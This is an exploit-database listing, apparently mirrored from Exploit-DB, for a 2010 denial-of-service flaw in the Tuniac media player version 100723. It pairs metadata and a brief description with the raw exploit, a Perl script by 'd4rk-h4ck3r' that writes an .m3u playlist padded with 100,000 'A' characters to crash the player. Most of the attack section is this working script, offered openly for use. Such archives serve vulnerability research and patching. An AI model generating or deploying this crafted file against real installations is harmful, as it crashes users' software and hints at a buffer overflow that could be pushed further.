header-logo
Suggest Exploit
vendor:
Tuniac
by:
d4rk-h4ck3r
7,5
CVSS
HIGH
Denial of Service
20
CWE
Product Name: Tuniac
Affected Version From: 100723
Affected Version To: 100723
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows XP SP3 Fr
2010

Tuniac 100723 Denial of Service Vulnerability

The vulnerability is triggered when a specially crafted .m3u file is imported into Tuniac. The file contains a long string of 'A' characters which causes the application to crash when the file is played.

Mitigation:

No known mitigation is available for this vulnerability.
Source

Exploit-DB raw data:

# Exploit Title: Tuniac 100723 Denial of Service Vulnerability
# Author: d4rk-h4ck3r
# Date: 2010-08-19
# Software Link: http://www.brothersoft.com/tuniac-225851.html
# Greetz 2 : PASSEWORD , MadjiX , KAiSER-J , sec4ever , tli7a , All Tun!Sian h4ck3rz
# Tested on: Windows XP SP3 Fr
# Import d4rk.m3u file , click play and then boooooooooom ;)


my $hd = "#EXTM3U\n";
my $jnk="http://"."\x41" x 100000 ;
open(MYFILE,'>>d4rk.m3u');
print MYFILE $hd.$jnk;
close(MYFILE);

Navigation

Suggest Exploit

Services By CQR